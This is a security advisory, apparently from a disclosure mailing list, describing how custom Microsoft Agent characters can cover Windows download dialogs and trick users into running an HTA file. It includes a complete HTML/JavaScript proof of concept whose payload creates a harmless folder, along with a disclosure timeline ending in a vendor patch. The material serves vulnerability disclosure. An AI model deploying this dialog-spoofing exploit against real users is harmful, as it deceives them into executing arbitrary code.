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What A Click! (HTA, Microsoft Agent)
------------------------------------------------------------------------
SUMMARY
" <http://www.microsoft.com/msagent/prodinfo/datasheet.asp> Microsoft
Agent is a technology that provides a foundation for more natural ways for
people to communicate with their computers." By using custom Microsoft
Agent characters it is possible to cover any kind of window appearing on
the user's screen, including security or download dialogs.
DETAILS
Vulnerable Systems:
* Windows 98
* Windows 98 SE
* Windows ME
* Windows 2000
* Windows XP
* Windows 2003 Server
When using custom Microsoft Agent characters it is possible to cover any
kind of windows, including security or download dialogs. This is an
expected feature of the Microsoft Agent control. To quote the product
homepage: " <http://www.microsoft.com/msagent/prodinfo/datasheet.asp>
Animations are drawn on top of any underlying application window,
characters are not bounded within their own, separate window". Custom
characters can be created with tools download able from that homepage.
Because custom characters are fully script-able, can have any kind of
shape and are downloaded automatically, this can be used as a flexible
tool to cover and/or spoof any kind of window and lure the user to execute
arbitrary code by performing one or two clicks (deepening on security zone
configuration and Windows version).
Proof-of-Concept:
< ! DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" >
< html>
< head>
< title >Fireclicking Proof-of-Concept< / title>
< / head>
< body onLoad="showGenie();">
< div style="font-family:Verdana;font-size:11px;">
< div
style="font-family:Verdana;font-size:15px;font-weight:bold;">Fireclicking
Proof-of-Concept< / div>
Designed for Internet Explorer 6 on Windows XP SP2 with classic theme
< br>< br>
< div style="width:600px">
< iframe src="about:blank" style="display:none" name="loadframe"
id="loadframe">< / iframe>
< input type="button" onclick="loadframe.location='hta.hta'" value="click
here first">
< OBJECT ID="Agent1" ClassID="clsid:D45FD31B-5C6E-11D1-9EC1-00C04FD7081F"
CodeBase="#VERSION=2,0,0,0">< / OBJECT>
< script language="JavaScript" type="text/javascript">
function showGenie() {
var spoofWidth = 500;
var spoofHeight = 380;
var spoofScreenX = (screen.width/2)-(spoofWidth/2);
var spoofScreenY = (screen.height/2)-(spoofHeight/2)+20;
var path =
this.location.href.substr(0,this.location.href.lastIndexOf("/"));
Agent1.Characters.Load("Character3", path+"/Character4.acf")
Genie = Agent1.Characters("Character3")
Genie.MoveTo(spoofScreenX, spoofScreenY)
Genie.Show()
Genie.Get("state", "Showing")
Genie.Get("animation", "anim1")
Anim = Genie.Play("anim1")
}
< / script>
< br>< br>
< / div>
< / body>
< / html>
The PoC is designed for Internet Explorer 6 on Windows XP SP2 in Windows
classic theme. By clicking on the button in the upper left corner you
start the download of a HTA file. The download dialog gets covered by a
Microsoft Agent character which fakes a button (basically a large white
image with a button border in the middle). Move the character by dragging
to see how it uses a "transparent spot" to make room for clicking on the
underlying dialog through the button space. Transparent areas in
characters are really "not there", meaning you can click through them.
When you click that button you execute arbitrary code in the HTA file, in
this case you create the folder "c:\booom!". The button in the upper left
corner is only need to get around the "drive by download" protection of
Windows. When this protection is not in place (e.g. on Windows 2000) this
PoC could be reduced to a single click interaction to execute arbitrary
code.
Disclosure Timeline:
2004-10-04 Vendor informed
2004-10-06 Vendor opened case, could not reproduce
2004-10-06 Vendor got new testcase
2004-10-12 Vendor confirmed bug
2005-06-14 Vendor released patch and advisory
2006-01-22 Public disclosure
ADDITIONAL INFORMATION
The information has been provided by <mailto:mikx@mikx.de> mikx.
The vendor advisory can be found at:
<http://www.securiteam.com/windowsntfocus/5XP0G1FG1A.html>
http://www.securiteam.com/windowsntfocus/5XP0G1FG1A.html
The original proof of concept can be found at:
<http://www.mikx.de/fireclicking/> http://www.mikx.de/fireclicking/
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